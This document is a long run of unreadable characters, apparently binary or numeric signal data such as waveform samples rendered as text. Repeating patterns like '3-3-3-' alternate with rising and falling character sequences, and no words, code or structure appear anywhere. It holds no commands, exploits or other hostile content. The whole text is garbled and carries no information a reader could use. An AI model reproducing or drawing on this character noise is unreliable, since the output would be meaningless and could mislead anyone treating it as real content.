3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.5/728495;7<:><C=G>J@KBMDOFSIUKWMXNZQ]R^S`UaXbZd]f_h`jckfngpiskumwoypzr~vxy{}ĸźǽɿɽǻŹ·|zv~t{qxotmrklhjefbb`a]a\\X[UYRVPSMPKLIJFGDEAB>@<<::784624/0-.+*((&%#"       #!%#(&+(.+1-406395:7=:@<C?FCIEKGMJPLSOUQXT\W_Z`\d^f`icmfnhpkrmvpys{u~w{}ĸŹȼʾɿǼƺø|zxv}u|rypwnulsjriogmejch`g^e\c[`Y_V]T[QZOWNULSKQHOGMELCIAG@D>C;?9<7<69492605.4.4-3-3,3,3,3,3,3-3-3-3-3-3-3-3-4-4-4-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-1.1.4-8,9*5*.,".#D#e>k #:Rgx}}yvqnjklicWKB2" n^'N+-,7.4-0.1-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,4+4+4,4,4,4,4,3-3-3-3-3-3-4-5-5-3-3-3-2-2-3-3-3-3,3,3+3,3,2,2,0-0./0031427192;4<3=2=0=1>1=2=2=2=2=1=1=2<3<3<3<3;2;2;2:1:191929293828272727282727373737374746364646463433323322212221212121212121212121212121212121212121212121212121212121212121212121212213131323232323232424242435354536373737373838484948391829292:3:3:3:3;3<3<3<3<3<2=2=3=3=2?2?2?2?2?2@2@1A1A1A2B3C3C3C3D2E2E1E0F0F/H0H/H/H2J3J2J2J2J1K1K2M2M1N1N1N1O1O0P/P0Q0R1R0S0T0U0U0V0W0W0X0Y0[/[/[/\/\/\/].^._._/_.`.`.b.b.b/c/d/d0d/e/e0e0f/g0f/g.i.j/k.l-n-n-p,q,r,s,t,v,v-w.x/x/y/z/{.|.}.~.~,--.-,,,,---++++++*****++,,,-,-~-|/y/v.r.m-g/a/Z0R1K0C1;04./0-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,3-3-5.5/6072;5=7?9?;A<C>F@JBLCOFPGRJULWMYO[R]T_TaVbYd[e^h_iakcneogritkvnyozr}tuxz{}·ŹǻȽ˿ȽǻĹ|z~v|tyqvoslpimgiefbb``]^Z\XYUXSVPSMPKMIHFFDD@A>>;;:9764522//-,*)(&%#"!      "$"'$*',*/-1/417395;7=;B?DBGDIGKINLRNTQXT[V\X_[b]e`hcjekgniqltowrzu}wy|~øźǼʾ˿ɾǻź¸~|zyxu}s{pyowmvlsjqgnemckah`f^d\bY`W_U]S[QYPVNTLRJPHNFLDJBIAG?D<@;@9=7=6:492806.3-3,3,3+3+2,2,3-3-3-3-3-3-4-5,5,5,5,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,5,4+1,,.#/)E'c>#m "8Pfy|{{ytmjjieZOD2! !j^(I(/.8.4.--0,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-4-5,4-3-3-2.1.0.1-2-2-3,3,3*4+5+4-2-1/0205080:0>0@0A1B0B0C0D0D0C1B1B1C0B0B0B1A2A2A2A1A1@1@1?1?0>0>1=1=1=1=1=1=1=1=0<0<2<1;1;1;1;1;1;3:3:3:2:29282928181818181818181818171717171717171617171617161737373737373737373737373737282828282829292929292939393:1;1;1;2;2;2<2<3=3=3>3>3>3>3>0=1>1>1>1?2>1?1@1@1A2A2A2A1B0B0B0B1C1C1C1C1D1E1F1F1F2G1G0H0H0H1H1I1J1J0J/K/L/L/L/L1N1O1O1O1O1Q0Q1R0R0S0T0T0U0U0V/V0W0W0W/X/Y0Y/Z/[/[/\/]/^/_/_0_0`/`.a0b/c.d.d/d.e.e.g/g/g/h.i/j/j.k.l.l.l.n.n-o,p,q,r,s,t,t,u+v+x*x*z*{*{*|+~+~++,++*+***,+++,-,,,*)))))***)((((())(*,...~-z+r+k,d-\/S/J1@/9.30/3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.2.3-3-3-2,3,3,3,3,3,3,2,4.5/7092;4<7?9B:C<D>F@IBKDNFPGSITKVMYO[Q]S_U`WbYdZe\g_ialcmdofritjwlyozp}r~tvx{}~øƺȼʾʿȽǻźù~{}x{vysuprnpkmijfgcdaa^^\\Y[WXTUQSOQMNJKHIEEBC@@==::8865321/.,,**''%%!"     !#!&$('+*.-1.315285;8?<A>CAFCHFLINKRMTPWSZU\X_Za]d_fagdkfmiplsnupxs{v~xz|ĸǻɽ˿ʾǼƺø~|zyw~t}r{pynvmujripgnekcjah_e]c[aY`W_V\TZRXPUNSKPJOGMELDJBG@E>C<A:@9>7<5:3816/5.4.4-3,3-3-3-3-3-3-3-3-3-4-4-4-4,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,5,4+1,,.%/+D*b>&m 5Pf{z{yunkkje[NB2" fX&G#..7.6./-1,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-3-3-3-3-2-2-2-2-3-3-3,3,3,3-303325281<1?0B1D0G0H0H0H0I0I0I0I0H0H1G0G0G0G1G1G1G1F2E2E1E1D1D1D0D0C1C1B1B1B1B1B1B1B0A1A1A1@1@1?1?1?1?1?1?2?2?2>2>2>2>2>2>2>2>2>2>2>2>2=2=2=2=2=2=2=1=1=1=1=1=1=2=3=3=3=3=3=3=3=4=4=4=4=4=3=2>2>2>2>2>2>2>2?3?3?3?3?3?2?0?1@1@1@1@1A1A2B2B2C2C2C2C2C1B1B1B1B2C1D1D1E1E2E2E2F2G1G0F0G1G1G1H1I0I0I0I0J1J1J0K0L0L0L0M1N1N1N1O1P0P0P1Q1R0R0R0S0S1T0T0U/U0W/W0X0Y0Y0Y/Z0Z0[0[/\/\0]0^/`/`/`/`.b.b.c/c/c0d/e/e/f/g/h/h/i/j.j.j.k/l.m.n.o/o.o.p.q.r.s.t.t.t-u-v-w,x-y-y,z+{+|*}*~,+*++**+**)****++,,,-,,+**))))+++**))))*+*,-//..+z,r-j.a1X0O3D1;/41/3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-3-3-4.3-3-3-3-3-4.4/6182:4;5>8@:C<E>H@IAJCLENGQITKUMWNYP[R]T`WbYc[f\g^i`kbmdofqhtiukwnzo|r~tvxy{~·ĸǺɼ˾ɾǻŹķ|z|wytvrspqmnkkgiffcd``]^[\XYVWTUQSNQLNJKFHDEAB??<<::785631/.-,+))''$$"!     #!$#)'+).+0-1/5274;8>:@=C?EBJDLGOJQLSOWQYT[V]Y`[b]d`hbjemgojqluowr{t}vx|ķŹȻ˾ʿɽǻŹ·´~|zxv~t|rzpynvmtkqhnfmdkch`f^d]c[bZ`X]W\UZRWOTMQKPIOGMFKDIBF@E>C=A;@9=7:59281604.3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,5,4+2,-.'/+D,b=(k 0JcwyzxunmlkeYK>/   bM#C-.7-7-3-2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.3-3-2.2.0/01162;2>2A2D1G0I0L0M0N0N0O0O0O0N/N/N0M0M0L0L0L0L0L0L0L1K1J1J0J0J0I/I/I0H1H1H1H1H1G1G1G0G0G0F1E1E1E1E1E1E1E1E2D2D2D2D2D2D2D2D2D2D2D2D2D2D2C2C2C2C2C2C2C2C2C2C2C2C2C2C3C3C3C3C3C3C3C3C3C3C3C3C3C2C2D2D2D2D2D2D2D2D2D3E3E3E2E0E0F0F0F0F0G0G1G1G1G1G1G1G1G1G1G1H1H2H0I0J1J1J1J1K2K1L0L/L/L0L0M0M0N0N0N0O0O0O1P1P0Q/R0R0S0S1S1T0U0U0U0V0V1W0W/X/X/X0Y0Z/Z/Z0\/\/]/^/^0_0_/`/a0a.b.b/c.d.e.e.e/f.f-g.g/h/i/i.j.k.k.l.m.n.n.o-o-p.q.q-r.s.t.t.t.w.w.w.x-y.y.z.z.{-|.}.}.--,++,+*++*++++)*****+,,--,,**+**++,,++,**)+,---.0/./-}-u/l1c3Y3P3C1;/31/3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-3-3-3-3-2,3-4.4.5/7394<7=8>:B;C=F?IAKDLFNGOIRKUMVOWP[R\T^W`Yb[e]g_i`jbldofpgsjtkwmxozr}svwy{}·Ĺƺȼʾɽǻĸ¶~{~x|vysuprnolmijghdeab_`\]Y[WXUVRTPRMOJMIJFGCDAA=>;;89673512/-,+*((&&#$!    ! %#'%*(,*--1.417496<9?;A>E@GCJENHPKRLUPWSYU\W^Z_\d_faickfmiqktowpys|uy{~·ŸȻ˼̾ʿȼƺŸ÷´}{zxv}u{ryqwntlrjqhngkdhcg`e^c]c\aZ^W\VZTWPUNTLQKPJNHMGJDHBGAE?C=@:>8=6:593716/3-3-3-3-3-3-3-3-3-3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,7+6+3,.-(/,A,]8'~c #=Ui|{zytonnkcVF8) \A"?-.6,8,6,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-3-3-4,5,5,5-6-4-2,2.0//2.5-:/>1C1F1I0L/N.Q0S.T-U,U-U.U.T.T.T-S-S-S.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q/O/O/N.N.N.N.M/M/M/M/M/M.L.L.L.K.J/J/J/J/J/J/J/J0I0I0I0I0I0I0I0I0I0I0I0I0I0I0H0H0H0H0H0H0H0H0H0H0H0H0H0H0H0H0H0H0H0H0H0H0H0H0H0H0H0H/I/I/I/I/I/I/I/I/I/J/J0J/J.J-K-K.K.L.L.L/L/M/M/M/M/M/M.L/M/M/M.M/N/O/O0P0P/Q.Q/R/R.Q.Q/R/R/S-S.T.T.T/U/U/V.V-W-W.X.X.X.Y.Y.Z.Z/[/[/[/\0\.].^/^._-_.`.`-a,b-b-c-c-d-e.e.f.f,f-h-h-h,j,j,j-k-k+l,m,n-n-o+o,p,p,r,r,s,s-t,t+u,u,v+w+x,x,y,y+{,{,|,},~,~,~--.--.,+*++***+,+,**)**))*****+**+++**++,++**+++*+-..-...-...v/m1b2X2N2B19/11.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,2,2-2-3-3-3-2,2,4-6/81:3<7>9@:A<B>F?GAJCMFNGPIQKSLVOXQZR[T_U`Xb[d\e^i`kcndofphsitkwnxoyq|s~vwz{}~ĸƺȼʾɾƺĸõ|z}xytwquoqmokmhkfhce`b]_[\XXUWSTQRNQKNIKFIDGBD?@<>::684623/0-.++)'(%%$"!   !#!%$(&*),+0-205284:7=9@<C>FAICLGNIQLSMUQXT[V\X_[b]e_hbjengpkrmvowqzt|wy{~ķƹɻ˽Ϳ˿ʾɼǻƸµ~|{yu}t{rypvntmrkqingkeidhbf_d^b[aY^W\VYRXQWPTMRLPKNHMGKFICGAE>B=@:?9=8:593404/4.4.3-3-3-3-3-3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.5,7+6+4,0.*/+>*W/$tV ,BUgx}{wtqnmh_O>/   'iS1"9..5,7+6,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-3-3-5,6,7+6+4+2,1-01.5.9.?.E0I0M0P0R/U-W.Y.[.\,\,\,\.[.[.Z-Z-Z,Y,Y-X-X-X-X-X-X-X,W,W,W.V-U-U-T,T,T,T.S.S.S.S.S.S.S-R-R-R.Q/Q/Q/Q/P/P/P/O/O/O/O/N.N.N/O/O/O/O/O/O/O/N/N/N/N/N/N/N/N/N/N/N/N/N/N/N/N/N/N/N/N/N/N/N/N/N/N/N/N.O.O.O.O.O.O.O.O.O.O/O/P/P/Q-R-R-R-R-R.S.S.S.S.S.S.S.S.S.S.S.T-U-U.U.V.V.V/W-X-X-X-X-X-X-X.Y-Z.Z.[.[.[/\.\-]-]-]-]-].^.^-_-`-a-a.a.b.b.b-d-d.d.e-e-f-f-g,h,h,h-i+j+j,k,k,k-l+m+n+n+o*o+p+q+q+q+r,t,t,t-u+v+v,w*x+y+y+y,y+{+|+}+}+}+~,,,++++*+++,++,+***++)*++,,+*)))**))((()(()***)**++++***,,,---..-++,.-u/l1a3V2K2@18011-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,2,2,2-3-3-4.4/5071:3<4=7?;B=C>E?GAJDMFNHPJQKRLVOWPZS\U^W_XbZc[e^h`icldngqhrjslvmxpzr{t}uwy{}·Ĺǻɾ˿ɽǻŹ÷}|z}xzvxsvosmpkmilgidgac_`\]ZZVXTUQSOQLNJLGJDHBD@B>>;;89563300..+,(*'&%$#"   " $"&%('+*/,1/416395;9>;A>DAGCJFLIOJQMTPVRXTZW^Za\d^faidlgmiqksnuqwszu|w~z|~¶ŸǺɽ˿Ϳ̾ʼƹö}|yx~v}t{rypvnulsjphnfldkdhaf_d]a[_Y]V\UZSWQUPSMQLPJNHMGKEHBF@E?C=A;@9=7847372615/3.3-3-3-3,2,2,2,2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.4-5,6+4,2.*-(9 )N&"iHo 0@P`rzvromh`UF3$  ' nR#K%$3 /,4,6+6,5-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.3-3-5,6+7+5,3,1./2/70=1B/I-O/R0V0W/Z/\.^._.a-b-a-a-a.`/`._._-_-^-]/]/]/]/]/]/]/]/\.\.[/Z/Z.Z.Y-Y-X-X.X.X/X/X/X/X/W/W.W.V/V/U/U/U/U0U0U/U/U/T/T/T/T.T/T/U/U/U/U/U/U/R/R/R/R/R/R/R/R/R/R/R/R/R/R/R/R/R/R/R/R0S1T1T1T1T1T0T/T/T.T.T.T.T.T/T/U/U/U/U/U.V.V.V.V.V/W/W/W/X/X/X/X/X/Y/X/X.X.Y.Y.Y/Z/Z/Z/[/\/\/]/]/].]/]/].^.^.^.^._._.`-a.b.b.b.b.c.c.d-d-d.e.f.f/g/g/h.h/h.h.i-i-j-k,k-l,m,m,n,o,o,o-p-p-p.q,r,r,s,t,t,u-u+v+v,w-x-x-y-z,z+{+|+|,~,~,~,,-,,,,-++++**++***+,*++*****+++***)))*()))''())**+*))******(()*+,,,+,,,*)+,|-r/h1]2R2G2=26101-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,2,2,2,2-3-3-3-8192:4;6>8@9A:D>G@HBJCLENHPIQKTMVOWPZR\T^V`XbZc[e]g_ialdnfphsjukvnxpzq|s~uwx{}~÷ĹƺȽɿʾǻƹŸ}z}x{wxtuqtoqknilgjehbe_c]_[]XZUWSUPRNOKLIJGGDEBC??==::7855220/,,*)((&%$#!     !#!%$''+).+0.115286:8=<A>C@ECIEKHMJQMROUQWSYV]Y_[b]e`hcjelhojpmrpvrxtzv}y{~ĸƺȼʽͿɼƹŸ¶}{xv~t|szqypvmuksjphogldjbg`e^c\aZ`X^V\TYRVPUOTMRLOINGMFJDIBH@F?D=B;=8;6:58372605.3.3-3-3,2,2,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-3-5,6,5,3.+,(3&E![8z^ !-;K^nz}||xsokhd]RF6%   #q#\;*B*01,3,4,5.4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2-3-4-5-6,3-2/14090@0F0L.R-W-Y/\/_/a/c.e-f.f-g-f,f,f.e.e-d-d-d.c.b.c.c.c.b.b0a.b.`.`/`._._._._-^/].^/]/\/\/\/\/\/\.\.[/[/Z/Z/Z/Z/Z0Z0Z0Y/Y/Y.Y/Y/Y.Y0Y/Y0Y/Y/Y0Y0Y/W/W/W.W.W.W.W.W.W.W.W.W.W.W.W.W.W.W.W.W/W0X0X0X0X0X0Y/X.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y/Z.[/[/[/[/\/\0\/\0\0\/]0]/]/]/].^/^._0^._._/`/`/`.b/a.b.b.c.c.c-d.c.c-d-d.d-e-f.f-g-g.g.g.h/h.i/i.j.j.k/l/l-m/m-m-m.m-o,p-p-q,r,r-s,t-s,t-t-t-u-u-v-v,x,y,y+y-y,z+{,|,}-|-~--,-+-,-,+-++,+,++*,++,**)*)*))**)))*******))()))))(&)))****))))))))('()++,+,*+*))+,x-n/c0Y2O2D19032/3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,2,2,3-4.5/6061;4<6>8?:B;C<E>HAJCLDMFNHRJSLVNXPZR\S]U_WbYc[d]g^h`jbmdogritkwmxnyp{r}tvxy{}·øźȼɾ̾˽ǻĸµ~{y}vyuwsuqrnpklhjfhcebd_a\^ZZWXTVRSPQNMJKIHFFDDAA?><;:9874421/--+)('&%$"!!    